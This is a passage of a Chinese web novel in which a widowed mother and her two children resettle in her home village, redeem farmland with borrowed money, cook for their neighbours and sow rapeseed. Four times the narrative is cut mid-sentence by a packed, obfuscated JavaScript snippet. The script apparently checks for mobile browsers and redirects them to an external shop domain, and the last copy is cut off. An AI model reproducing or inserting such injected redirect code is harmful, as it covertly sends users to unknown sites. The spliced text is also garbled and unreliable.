姜万荷想了想，又道：“你不信，我能还你钱，是不是，这样，我们去衙门把田契换成你的名字，等我钱凑够了，我们再换回来，可以了么！” “三十亩上好的肥田，就在盘龙山下，你小时候去过的！” 姜氏想了想，那片田地，黑色的土壤，肥沃，临近河流，水源充沛，平时值十贯一亩。回家的路上，她坐在驴车上，指给姜宁苏慎看过。 原来，那片田地，阿娘已经过户给了二姐。 姜氏有些迷茫，没想到回家就遇到这摊子事，和她的预想，家里人对她的出走，责备为难，冷嘲热讽，完全不一样。 姜万雪看她没拒绝，眼底一亮，知道她手里应该有钱，不停的哀嚎哭求。 姜氏有心收回那片黑土田，却有心无力：“我总共只有一百四十贯，不够的！” 姜万雪大喜，擦干眼泪：“适才村子里，大家算了，能凑二十贯，加上便有一百六十贯了。” 两人说定，姜万雪作保，姜氏写了借条，借了村民们的二十贯，请了村长，找矮个刀疤脸，拿回地契，急匆匆带着照贴到镇上衙门里改名。 那三十亩黑土田，改落在了苏宁名下。 回了村子，姜氏手里现钱一百一十贯，金簪估价三十贯，计一百四十贯，和找村民，借来的二十贯，合计一百六十贯，给了姜万雪。 姜万雪得了钱甩给刀疤脸，要回借据，发泄似的撕成碎片。 刀疤脸也不恼，皮笑肉不笑：“几位姐姐，你们若是银钱不凑手，尽管来平阴镇福来楼，找我拆借，我这人，最好乐于助人，帮人度过难关！” 说着，叫人抱着铜钱，嘿嘿一笑，丢开陈苍，领着打手，大摇大摆离开村子。 姜万雪几人，搀扶着陈苍坐上驴车，谢过村民，领着姜家三人，一路沉默回姜家老宅。 姜家老宅是三间正房，三间厢房，一个柴房，一个院子的格局。 姜万雪掏出钥匙，打开正房中堂，上面摆着姜家列代去世长辈牌位。 她自己跪在蒲团上默默磕了几个头。 起身后，神色淡然看着姜氏三人跪拜，而后锁了门。 姜万雪神色莫名：“当年你一走了之，阿娘一气之下，生了场大病，好不容易好起来，为免睹物思人，带着我们搬去了平阴镇。 我和阿姐，平时不住在这里，这几日回村祭拜阿娘阿爹，顺便料理田地。 三间正房给了阿姐，三间厢房给了我，你今日救了陈苍，便是救了我，我不愿意同你置气，但是，你气死阿娘的事，我依旧不会原谅你。 我不想见你，以后我这三间厢房，就借你住了。 算是你今日帮我解围之恩，也算是我给你的利息。 田地你先种着，期间田地的出息算你的，等我凑够了钱，我们再换回来。” 说着，丢了三间厢房的钥匙给她，搀扶着陈苍，上了送他们回来的驴车，让车夫赶车回平阴镇。” 姜万雪阴沉着脸，担忧的看着怀里的丈夫。 身后是他们的女儿姜新莲，看着怯怯的，不时偷偷看他们一眼，欲言又止，又看看自己母亲阴沉的脸色，乖乖的上了驴车。 姜氏张了张嘴，想说她还没结算车钱。 算了，她现在身无分文，几个小钱，二姐肯定有的。 送走二姐一家三口。 她怔怔的看着院子，记得小时候，阿娘盖房的时候，和邻居说笑，家里三个女儿，一人一间，如今，却是没有她的分了，阿娘肯定气极了她。 姜氏落寞用钥匙打开三间厢房，一间里头有个空灶台，还有锄头镰刀等杂物，其他两间空荡荡的，什么都没有，落了一地的灰。 她检查了一遍，墙体完整，青瓦顶完好，木床咯吱作响，依旧能打开。 陈旧能住。 她叹了口气，叫两个孩子先收拾打扫。 姜家村坐落在山腰，一条小河顺着从山上蜿蜒流下，各家各户的房子，同款的白墙青瓦，依山傍水而建，离河不远，取水很是方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148393|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便。 姜氏去旁边杨婶家借扫帚。 杨婶看着她长大的，拿了扫帚给她，重重叹了口气，念叨回来就好，回来就好。 唠叨着差了什么，尽管去拿。 姜氏取了扫帚灰铲，回来后换了旧衣，用布巾蒙了头鼻，钻进屋子，逐一打扫，等她清扫了一遍，苏慎端着水，顺着擦拭。 姜宁料理做饭，幸好行李里还有半袋白面。 她在院子里的大石头上，掏出木盆，开始揉面。 今日才回来，就借了村民的钱，虽说是二姨做保人，可是钱，确实借给了阿娘，田契的名字，也落在了自己名上。 第一顿饭，必须送些给大家伙，让大家知道，他们姜家三母子，是感恩的，记得大家的情的。 她掂量了下，放了十公斤面粉。 用小茶炉点燃火，烧了一锅热水，先烫了一半的面，剩下的一半用冷水，两种面揉好后，再混合揉在一起，上头盖上湿白布醒发。 重新舀了一碗面粉，加入少许草果粉，八角粉，花椒粉，调味，然后一勺细盐，拌匀后，浇入烧热的猪肉，调成油酥。 醒发好的面团，在砧板上擀成面皮，面皮上抹一层油酥，撒一把从隔壁杨婆婆家院子边的菜地里，薅来的葱花，将一片卷起长条，再盘成圆形，轻轻擀成手心大小的饼胚。 小铁锅放油，放入饼胚，小火慢慢煎制，直到两面金黄，起锅装盘。 她煎饼的时候，顺手从旁边的芭蕉树上，割了几片绿叶子洗干净，晾干切小。每两个葱油饼包成一包装好。 等她煎完饼，姜氏和苏慎也打扫好了屋子。 姜氏和苏慎洗了把脸上的灰，换回新衣，用个篮子提着葱油饼，带着一双儿女，一家一家去拜门。 最先去的是村长家。 村长是个满脸折子的老奶奶，眼睛微微眯着，眼底偶有亮光闪烁，感觉是个智慧的人。 姜氏恭敬喊了声姜大姨，让两人喊姜大婆婆。 认完人，村长喊来自己的孙女，姜慧，命她带着娘三去村子里认门：“你们许多年不曾回来，村子里物是人非，让阿慧领着你们认认人，免得叫错了，惹出误会。” 有了姜慧的带领，后面很是顺利，大家对他们的回来，表示了忠心的欢迎。接了她们送的葱油饼后，亲切表示，钱不着急还，慢慢的。 也有比较热心的，比如隔壁的杨婆婆家，接了她送的葱油饼，送了一颗白菜过来，进屋看见他们没桌没凳，又回去自己家，拖了十个草墩，一个小桌子，还抱了一大抱干净的稻草，让他们打地铺。 杨婆婆拉着姜氏的手，安慰：“哎，要是你娘知道，你连个床都没有得睡，不知道会心疼成什么样子！” “山中早晚冷，湿气重，垫着稻草，隔绝湿气，才不会生病，等田地收成上来，便好了！” 姜慧也回了自己家，找到村长婆婆告诉姜家的事情，抱怨：“她们差了大家的钱，看她们一点不着急，白面饼吃着，大锅油用着，还到处送人，什么时候，她们才攒得够钱还我们家啊？” 只自己家，就借了整整三贯呢！ 50. 第 50 章 村长敲了下姜慧的脑瓜子，掰开揉碎了教导：“我日日把你带着身边，希望你学会为人处世的道理，等你长大了，接手村长的位置，领着大家，把日子过好。” “我们村子，大部分姓姜，沾亲带故，往上数十代，是一个祖宗，谁家遇到困难了，亲戚间互相拉扯，是应该的。” “姜万荷年轻的时候，叛逆淘气了些，如今她死了男人，无依无靠，带着孩子回来，我们拉扯一把，尽到亲戚间的情谊。 她是为了赎回田地，这是置产的大事情，又不是吃喝玩乐赌钱，用在正道上，这钱可以借。 再说，她一个人，把两个孩子养得面色红润，可见是个有能耐的。人家出手便是一百多贯，试问，村里谁家能一下子掏出这么多现钱，没有吧。不用担心她还不上。” “而且，人家才落脚，立马送来饼，一来告诉大家，她们回来了，二来告诉我们，她们知道轻重，记得大家的情谊的，会尽快凑钱还。 想来这些年，她在外头，吃了些苦头，懂得眉高眼低。” 村长拿起芭蕉叶，揭开叶子，露出里头金黄的葱油饼，拣出一个，剩余的放了回去。 “我们分吃一个，剩余的，给你阿娘她们送去。” 姜慧洗耳恭听，表示明白了。一个小小的饼竟然能分析出这么多的弯弯绕绕。 村长从中撕开，饼窸窸窣窣往下掉渣，她连忙用手接了，感叹，哟，好酥的饼。 递了一大半给孙女，自己吃剩下的小半。 先捡起一片碎裂的金黄饼皮到嘴里，入口咸香酥脆，充满了嚼劲。 然后撕下里头雪白的饼心，柔软筋道，面香十足，正适合她的牙口。 里头点缀的葱花，经过高温的烹制，去掉了辛辣味，只留下浓郁醇厚的葱油香气，和酥脆面皮，柔软面芯搭配在一起，在口腔里形成一种复合的味道，咸香回甘，吃了后满满的幸福感。 就凭着这手做饼的手艺，她们母女三人，日子差不了。 村长轻轻抿着唇，仔细品鉴葱油饼的咸香醇厚，满足的眯着眼，她牙齿掉了大半，平时熬些米糊糊吃，好久没吃到这样有嚼劲但不伤牙的好东西了。 她又交代了一句：“你去过她家了，她家缺啥，若我们家里有闲置的，弄了送去。” 姜慧也觉得饼香脆有嚼劲，比庙会上买的味道好，好在哪里，她又说不出来。听到阿奶的话，接嘴：“就光秃秃的三间房，什么都没有，锅灶上只有个黑漆漆的洞口，没有锅，柴火也没有。” “用自己带来的小茶炉做饭，忒麻烦了。” “可是，我们家也没有多余的锅啊。” 村长道：“你送一推车柴火过去，就说让他们烧完，继续过来拉。” 姜慧哦了一身，吃完饼，洗了手去装柴推送过去。 到了姜家，姜氏三人正在吃饭，她们每人一个葱花饼，配一碗白菜汤。 三间屋子发生了巨大的变化，依旧那个老旧模样，但变得干净整洁，空气里充满了水汽，应该是才擦拭完不久。中间屋子她们作了堂屋，里摆了一张小桌子，旁边摆着草墩，有三个上头还有半新不旧的布坐垫，她们围坐在草墩子上吃饭。 看到她来，姜宁立马起身，让她坐在自己有垫子的草墩上。 姜慧坐下，感觉软软的，比板凳舒服多了。说话间，她瞟了一眼，右间打扫干净，地面铺了厚厚的稻草，上头摆放了个大铺盖，挂起了浅灰色的蚊帐。 一旁还堆着些大包小包没有收拾的行李。 左间放置了小茶炉子，墙角的木盆里，陶碗，砧板菜刀，还有半麻袋东西，看着应该是粮食蔬菜什么的。 她说明来意，姜氏拉着她的手不停的感激，几人起身来到柴房，柴房只是清扫过灰尘，没有水汽，柴房安置了两只小母鸡，腿上帮了线，拴在墙上，只能在角落里活动，不会把整个柴房弄得脏兮兮的。看到她们进来，个多个多叫个不停。 她们搬下柴火，整齐码放在边上，临走，姜宁用稻草扎了十个鸡蛋成串，塞给她：“多谢你跑一趟，记挂我们没有柴火，这是两只小鸡路途中下的蛋，你带回去尝尝味道。” 姜慧推辞不要，早就被姜氏塞到车里，送她到路上。 她提着鸡蛋拉着空车，欢欢喜喜回到家，心里很服帖。 和她家来往，确实感觉很舒服。 院子屋子，收拾得干净，赏心悦目，有条件的情况下，家里布置得舒适。 她们一家很热情，和她一起搬柴火，送她出门，还不让她跑空，送了十个鸡蛋。 家里其实有鸡蛋，她就是莫名觉得，姜宁给的鸡蛋，更大更白一些。 姜氏母女三人吃过饭，苏慎洗碗，姜宁扫地擦桌，姜氏送垃圾。 热了一锅水轮流洗漱完，姜宁喊了身阿拽，只听到一声呜嗷，从门缝里闪进一个黑影，正是阿喵，小黑猫威风凛凛竖着尾巴，巡视一圈三间屋子，从里间行李中，嘴巴叼了个新坐垫，跳到灶台上的烟囱道上趴着。 姜宁哭笑不得，阿拽喜欢趴高处的毛病，得改。 那里是烟道，等灶台用起来，很烫的。 左右现在灶台上没锅，暂且给它趴着吧。 姜宁关了门，和姜氏盘点家当。 她们现在手里一文钱都没有，全换成了一张薄薄的田契。 苏慎弱弱的从包裹里一条旧裤的□□里，摸出一把钱：“我，我还有一百二十三文呢！” 之前他的零花钱攒着，一文没花，担心被姜氏收了去，藏在□□里。 姜氏拿过钱：“就你会作怪！” 全家只有一百二十三文，负债二十贯，怎么还？ 虽说有三十亩的肥田，买种子还要一大笔钱，再去借么，找谁借，村子里村民已经借过了，难不成，去找刀疤脸？ 不成，高利贷万万不能碰的。 姜宁翻看清点行李，除了半袋面粉，还剩下一半的调料。 铺盖除了，她们原本的，还有两床新被子，是从马车上薅下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151791|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的，两个坐垫两个靠垫已经被她们三人和阿拽瓜分完，最后，便是高夫子送的两匹上好绢布。 戴了半天的银镯子和银包铜簪子，还没戴热乎呢，作价给刀疤脸了。 两人计划，把绢布和新棉被，送到镇子上处理了，换钱买种子，先把田给种了，免得误了时节。 吹灯睡觉，次日一早，苏慎在家照看，姜氏带着姜宁，从杨婶家借了两个背篓，姜氏背了棉被，姜宁背了绢布，步行半日到镇上，找了家布料行卖棉被和绢布。 姜宁有时也好奇，这里到底是什么朝代。 看风土人情，像是宋时，但是，物产种类却比宋丰富，棉花，辣椒，紫葱，西红柿，胡椒，茴香，土豆，玉米，市面上样样都有，姜宁调侃，可能是之前有前辈，集齐了所有物种。 比如棉花，价高，但老百姓们踮踮脚，也够得到。 两床棉花被，两匹绢布一贯六百文。 这个棉花被在小胖子家，可以卖六百文一床，上好的棉花芯，外头是细麻布做的被面。这样好的绢布，可以卖到一贯一匹。这家布料行，压价忒狠了。 姜氏收了一贯六百钱，领着姜宁出门：“算了，被子本来计划我们自己用，绢布计划送给你表姐表妹们，现在你二姨和我们划清界限，你大姨，我估摸着，态度也差不多，绢布用不上，先换钱周转开来，等手里充裕了，我们再买回来。” 她们先去问了种子。 姜家村田地一般种两季，春种稻，秋种蚕豆。 收割稻谷后，泥土里水分丰盈，手指头一按就是一个坑。趁机把蚕豆按进去，等它自己发芽。 现在，田地里的水分已经干了，再种蚕豆的话，时令有些过了。 眼看生意做不成，掌柜出谋划策建议：“若是田里水分不够，可以考虑种油菜，油菜好哇，来年收货一大批菜籽，送到油坊去磨油，赚得更多。 唯一不好的地方就是油菜费力，要拿请几个男工，用锄头挖坑播种。” 听到油菜，姜宁眼前一亮，油菜好哇，可以榨油，她的好多美食，都要用大量的菜油。 姜氏一听，也觉得种蚕豆晚了些，费力什么的，自己天生力气大，不担心这个问题。而且现在伤好了，多种几日，也就种掉了。 算了算，三十亩，需要八公斤油菜籽种子，五十文一公斤，就去掉了四百文。 姜氏嫌价贵：“庙会上不过二十多文一公斤，你这个，忒贵了！” 掌柜自豪道：“我这个种子，是从邻国花高价买回来的，抗病抗虫害，你们种一年，就知道了，保证你们明年还来找我买种子。” 姜氏踌躇不决，言语间要再看看。 掌柜拉着不放，送了些蔬菜种子。 姜宁追问：“那你这里，什么种子都有么？” 掌柜点头：“自然，只要你说得出来，我家都有，即便现在没有，我也能给你调货！” 姜宁笑道：“那感情好，你帮我弄点甘蔗种子来，价格好商量！” 51. 第 51 章 买好种子，两人找到木匠铺子，把之前买的烤饼用的锄头，两把，请匠人打磨锋利，安上锄头木柄，花了20文，然后折回去铁铺，买锅。 铁锅价格大小不一，和家里锅洞相配的大铁锅，需要八百文。 若买了，他们手里只剩五百文，还要买粮食，哪里够。 姜氏决定不买锅，家里有小茶炉小炒锅，将就着用，买了把斧头，一把小片刀，斧头4百文，片刀50文。 斧头砍柴火，片刀劈竹子，家里什么都没有，自己砍些竹子回来，能编一些简单的用具。 姜宁还想买些粮食，找铁匠打听，谁家粮铺的粮食实惠。 铁匠是个憨实的汉子，擦了把额头上的汗，嘿嘿一笑：“若是自己吃的粮食，可以去庙会上，庙会上是乡民自己种的粮，卖的比镇上店铺里的便宜，若是要齐全，那必须在店铺里，街角那家高氏杂粮铺，最是齐全。” 姜氏听了道谢，带着姜宁，去高氏杂粮铺看了下，应该和叶城的杂粮铺是一家，细盐白砂糖胡椒等一应俱全，价格么，也很是感人。 但因为整个平阴镇他家铺货齐全，其他家没有的东西，他家都有，大到青稞米，小到芝麻，常见如大米，珍贵如精盐，他家都有。是以价格比其他家贵，他家店铺里也人来人往，络绎不绝。 家里白砂糖没有了，其他的还剩了些，姜宁暂时没想好摆摊卖什么，她们便没买。 两人看了一圈，摸了摸自家干瘪的荷包，望洋兴叹。 回了家，姜氏坐不住，提着斧头，立马去砍竹子。 姜宁带着苏慎，在院子边的菜地里，松土种菜。 菜地长久荒芜，土块板结，双臂轮得酸痛，才翻挖了一遍，然后苏慎撒菜种，姜宁再覆盖上土。 姜宁从河里提水，苏慎负责泼水浇菜。 姜宁累惨了，双臂酸得使不上力气，成果也很喜人，萝卜白菜莴笋豌豆韭菜香菜葱等，各种了一墒，过上半个月，菜长出来，她们便不愁没菜吃。 姜氏扛了六根大竹子回来，丢在院子里，用斧头从中破开后，不再对半破开，形成大小约莫一根筷子的宽度，然后换用片刀，片成薄片。 片好的竹子就是竹篾，按照粗细分堆摆好。 还有一根劈开后，发现虫眼，丢在一边，晒干后当柴火。 晚饭，姜宁做了韭菜盒子。 一碗白面，分两半，一半用烫水和面，一半用凉水和面，好后合揉在一起醒发。 姜宁先去杨婆婆家菜地里割了一把鲜嫩的韭菜，洗干净晾干水汽，舀半勺香油拌匀，然后切成末。 在小锅里炒两个鸡蛋，用锅铲划碎盛出放凉，拌入韭菜中，放入细盐胡椒粉调味。 醒发好的面团搓成长条，分成大小均匀的剂子，擀成面片，放入馅料，折起来后在边缘捏出花边。 锅里放一小层油，放入韭菜盒子，小火慢慢煎烙，直到两面金黄出锅。 不好白吃人家的韭菜，姜宁用碗装了两个韭菜盒子，打发苏慎送去給杨婆婆家。 苏慎回来，碗被洗干净，装了一满碗酸菜。 “杨婆婆说了，菜地里的菜，我们想吃什么，只管去拔，不用再送东西过去。还叫我们抓紧日子，把地种了，免得误了时令。”苏慎口齿伶俐回话。 再说隔壁的杨家，已经吃过了晚饭，几个孩子，但看着桌子上的两个金黄面皮的韭菜盒子，忍不住咽了下口水。 杨婆婆做主：“这个要趁热吃，来，我分了，我们都尝尝味道。” 她把盒子分成六分，自己和五个孩子，一人一份。 两个女儿在自己屋子里，和自己的丈夫说话，两个儿子去媳妇家去了，没在家。 再次吃到她家的手艺，杨婆婆幸福的感叹，这姜宁手不知道怎么长的，同样是五个手指头，一样的韭菜，到了她家锅里，味道就不一样了。 盒子外皮金黄酥脆，咬一口咔擦作响，带着焦香和油香，韭菜芯鲜嫩多汁，混合了鸡蛋的软嫩油润，口感咸鲜美味。 吃完盒子，杨婆婆交代自家孩子：“你们没事过去姜家，看着能帮忙的活计，搭把手，或者领着姜宁姐弟两，和村子里的孩子们一起打猪草抓虫子喂鸡，让她们母女几人，早日融入村子。” 姜家这边，苏慎夹了一筷子酸菜，放在锅里，烧了半锅酸菜汤，每人三个韭菜盒子，姜氏五个，配上一碗滚烫的酸汤，吃得饱饱的。 苏慎吃完，拍了拍肚子：“面食好吃，可是我还是喜欢吃米饭，阿娘，我们什么时候吃米饭啊？” 姜氏也点头，安抚说明日庙会上去买一袋子回来。 家里习惯吃米饭，天天吃面，感觉不得劲。 吃完饭，姜宁和苏慎围着姜氏，看她编织。 硬邦邦的竹篾在姜氏手里，好似软和的毛线一样，按照她的心意，经纬混走，各不干扰，不一会，一个半圆形筲箕初见雏形。 姜宁捡了几根竹篾试探的编织，竹篾在她手里，张牙舞爪起来，根本不听话，她无奈的放回竹篾。 认命的在一旁递竹篾给姜氏。 姜氏封了口，嫌弃的把筲箕丢在地上，很是惆怅：“这么些年没碰，手生了，编出来的筲箕是歪的，卖不出去啊！” 姜宁捡起筲箕，中间凹下去，三面是高的，物件放里头不会掉，边上高起来的地方，留了三个耳洞，栓上绳子，挑货物很是方便。 因有一面是平的，只要提着后面把手，可以快速的倒出里头的物品。 她看到村子里有人用这个挑土搬粪，给土地增肥。 说起农家肥，姜宁询问姜氏：“阿娘，我们要养牲口么，我看到，家家户户有粪堆堆肥。” 姜氏随嘴接道：“自然是要养的，至少要捉一对小猪来，那便是六百文，我们现在铜钱不凑手，等我编些竹器卖掉再说。” 姜宁哦了一声，询问：“那这个筲箕不要了么！” “诺，中间这里歪到一边了，卖不掉的，留家里我们自己用吧！” 姜宁听了，把东西收拾到柴房里放着。 顺便割了一把草給鸡吃，然后去看阿拽。 这两日家里没做肉，阿拽不在家，估计自己外出觅食去了。 姜宁羞愧捂脸。 自己不是一个合格的铲屎官，竟然让小喵自己为生计奔波，实在太不应该了，她暗暗发誓，一定要努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156665|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力种田赚钱，让小喵过上肉来张口的好日子。 次日一早，姜氏带着熬夜编好的三对筲箕，背着背篓，和姜宁一起去庙会。 走了约莫来一个时辰，便到了青龙山下，上头有个青龙寺，香火很是旺盛，每逢初一十五，寺里烧香的人多。 一开始小摊小贩便在山下摆摊，把一条大道，堵得水泄不通。 后来寺庙出面，避开大道，在山脚划了些空位，每月日期的一四七，不拘摊贩还是乡民，缴纳一文摊位费，便可以来摆摊出售自家东西，或者以物换物都可以。 今日正好二十七，是庙会的日子。 庙会上已经很多人，姜宁看得咂舌，有卖粮食的，有卖土布的，衣裳的，玩具，自家菜蔬的，猪肉摊，活鸡活鸭，熙熙攘攘，排得好远。 两人寻到卖竹器的地方，十多家摊位上，全是竹器，板凳，竹编桌，竹编柜子，帽子，背篓，簸箕，筲箕，箩筐，针线小绷子，还有竹床，样样齐全，姜氏自家三对筲箕，实在不好单独占一个摊位，询问了好几家，找了最大一家，八文一对，低价卖掉，得了二十四文。 卖完筲箕，两人绕着庙会转了一圈，发现没摊位卖包子，但有卖炊饼的。 姜宁蹲着看了半天，感觉生意一般般。 她有些疑惑，难道这里的百姓口味，不太喜欢吃面食。 两人又走到卖粮食的摊位前，陈米，新米碎米，糯米，谷子玉米，都有，面粉只一家售卖，价格竟然要十五文一公斤。 姜宁找到炊饼生意不好的原因了，面粉价高，炊饼价更高，三文一个，至少两个才能吃饱。 同样吃饱肚子，大家肯定花六文，吃米饭配菜，有饭有菜有汤，加两文，还能添一勺菜蔬炒肉。 或者吃一碗五文煮饵丝，或者烤一个饵块粑粑两文。 吃食，除了这个，还有卖凉虾的，冰粉的。 凉虾不是真的虾子，而是米粉煮好后，一滴一滴漏在冷水里，成为蝌蚪状的白色米滴，一勺凉虾，再浇一碗红糖水，甜到心坎里去。 还有卖煮汤圆的，甜白酒的，卖蒸米糕的。 各种各样的米制品，占了整整三十多个摊位。 生意最好的，竟然是米酒，无论男女老壮，背篓里放了一个葫芦，到了庙会，先去米酒摊位上，打上一壶摊位老板自己酿造的土米酒。 打好酒后，先小抿一口，满足的打个嗝，然后才慢慢去买需要的其他物件。 姜宁盯着米酒若有所思，要不，她买些米酒回去提纯成高度酒再来售卖？ 她四处张望的时候，姜氏已经谈好价格，四文一公斤，买了一袋子陈米，约莫四十公斤，放在背篓里背着。 啧，又去了一百六十文。 想着好久没吃肉了，姜宁去肉铺上问了问，好家伙，六十一公斤猪肉，算了，她们吃不起。 吃不起猪肉，买点猪血呗，三文钱称了一公斤，姜氏又花三文买了一块豆腐。 提着买好的东西，两人绕道庙会后面，多走一百米左右，便是自家田地边缘。 汰，姜氏瞬间紧促起来，只有自家田地还是荒的，长了些野草，四周人家都种好蚕豆了。 52. 第 52 章 姜宁两人庙会不逛了，背着东西送回家，焖了一锅米饭，煮了白菜豆腐汤，烧了一锅血旺，摆好碗筷，正要吃饭，隔壁杨婆婆家大姐杨达青，背着背篓，领着弟弟妹妹来找姜宁：“阿宁，和我们一起去割猪草呗，你也割些回来喂鸡。” 姜宁放下碗筷，笑着邀请她们一起吃饭。 杨达青瞅一眼她们的桌子，只有两个菜。黄绿色的白菜里头，飘着雪白的豆腐，另一个油润润的翠绿芫荽里，血红的猪血若影若现。 杨达青岁数十五六，听得懂人的客气话，笑着推拒：“不用不用，我们已经吃过了，你们快吃吧。” 最小的两个弟妹，和苏慎一般年纪，听到姜宁邀请，肩上小背篓一甩，飞奔到桌子面前坐好，自来熟询问苏慎这是什么，好吃么？ 苏慎自豪极了，很有眼色的拿碗筷，一面自豪挺起胸脯：“这是我姐做的血旺，比城里最大酒楼做的菜还好吃！” 说着自己忍不住咽了口口水。 最小的妹妹杨达橙睁大眼睛：“是吗，我不信，除非给我一口尝尝！” 杨达青面上一红，去拖扯两个弟妹。 两个小的哪里肯走。 姜氏笑着发话：“坐下一起尝一口，今日午饭做得多，够吃的。” 姜宁闷了满满一锅饭，计划吃完午饭，带一些冷饭到地里，晚饭糊弄着吃，种地到天黑回来。 听到大人发话，杨达青红着脸领着弟妹坐了下来，将一张小桌子挤得满满当当。 每人添了半小碗饭，一勺子血旺汤，一勺白菜豆腐。 血旺非常嫩滑，入口即化，吸饱了汤汁，麻辣鲜香在舌尖爆开，又烫又鲜，油润甜美。 配菜是黄色的土豆条，沙糯入味，很是下饭。 白菜清甜，豆腐滑嫩，吃完爽辣的血旺，再尝一口白菜，嘴里的麻辣被涤荡干净，只剩下淡淡的回甘。 杨达青吃完后，舔舔嘴皮，感觉不过瘾，还想再吃。考虑到姜家还没吃饭，默默放下碗，等着弟弟妹妹吃完，夺走碗筷，很有眼色和姜宁一起收拾碗筷洗碗。 姜氏和姜宁收拾菜种在背篓里，扛着锄头准备出发，找了个篮子给苏慎，打发他跟着她们去拔猪草。 她们家现在没养猪，可以少拔一些回来，喂鸡。 杨达青想了想道：“姜姨你等等我们，我和二妹三妹四弟，回家扛着锄头，和你们一起种去，他们三个小的自己去打猪草。” 不等姜氏拒绝，一溜烟跑回去扛自家的锄头去了。 等她扛来自己专用两把中号锄头，杨家两个小的，一个嚷嚷着去河边，一个叫着去后山割草，两个声音一个比一个大，几乎没打起来，被姜氏提着领子分开后，干脆各自直接扯着苏慎的手臂，开始拔河，要求苏慎跟自己走。 无论去河边，还是去后山，姜氏哪个都不放心，拍板决定，带着一起去自家地里。 地里长了许多野草，让她们割个够，把人放在眼皮子下头，才是最安全的。 姜宁看着这么多人，眼皮子跳了跳，摸了一把钱在兜里，计划晚上去庙会，再买些菜回来。 顺带提着姜氏编坏了的筲箕，田地之间有些小水沟，可能有鱼。 等猪草割够了，打发她们去舀鱼儿，掉在沟里也淹不到人，最多弄湿衣服，有个事做，免得到处疯跑找不到。 一行人浩浩荡荡去了田里。 到了田地里，三个小的在空地上疯跑，采花儿，找猪草。 姜氏用锄头开出一条坑，姜宁在后面撒种，然后用脚扒拉一下土块，盖住种子，杨达青和四弟杨达坚一组，二妹杨达蓝和三妹杨达紫一组，学着她们的样子，开始播种菜种。 她们力气没有姜氏大，但两队人，比姜氏种的地多。 约莫种了一个多时辰，姜氏招呼大家坐下休息，姜宁笑盈盈询问，晚饭想吃什么菜。 杨达青擦了擦头上的汗，客气道不用，午间已经吃过了。 小一些的杨达坚嚷嚷：“好哇好哇，就吃中午那个血旺，香辣美味，中午还没吃够呢，就被阿姐把碗抢走了！” 姜宁愣了一下，笑盈盈看向杨达青，她以为她们吃过饭，随意吃点就饱了，原来她们没吃够。 这女孩很有边界感哦。 笑道：“这简单，我这就去买，晚上吃一大锅，保证你们吃得够够的！”正版的毛血旺放鸭血鸭肠，毛肚，白喉，庙会上没有这些东西，即便叶城也没有卖牛毛肚的，可以换其他的。 和姜氏打了声招呼，又去了一趟庙会，买了三公斤猪血，两公斤豆芽菜，两块豆腐，花了十五文。 等她回来的时，她们又种了好几路了。 三个小的，已经打好猪草，花也玩腻了，坐在田埂上开始吵架。 姜宁把菜放在篮子里盖好，取了带来的筲箕，教她们舀水叉鱼。 她把手握着两边的把手上，弯腰把筲箕插到小沟水草下面，然后抬起来，水从竹子缝隙间漏走，三条小蚂鱼在漏完水的竹筲箕里蹦跳。 三个小孩睁大眼睛，开心拍手鼓掌蹦跳：“哇哦，抓到鱼了！” 姜宁变魔术一般，拿出个芭蕉大叶子，铺在篮子里，浇上水，三条小蚂鱼欢快的在绿底清水的篮子里游来游去。 三个人争着来抢筲箕，谁能拒绝抓鱼摸虾的乐趣？ 姜宁定好规矩，按照大小顺序，每人叉两次筲箕，比赛谁抓到的鱼儿多，但是掉到水里，就算输，输了的人，晚上不可以吃小鱼。 安排好几个小破孩，姜宁和姜氏配合开渠播种。 她们一面种田，一面听着三个小孩在那叽叽喳喳，不时发出惊喜叫喊，谁又抓小鱼儿了。 到了晚间，太阳落了山，姜氏打发姜宁：“你先回去做饭，带着她们一起，她们帮我们种了一天，肯定累惨了，先回去弄点糖水給她们喝。” 说完才想起来，自家白糖用完了，还没买，家里只有七百文现钱，还得买小猪仔呢。 哎，到处都是用钱的地方。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162383|193739||http|test|mini|href|location''.split(''|''),0,{})); () { 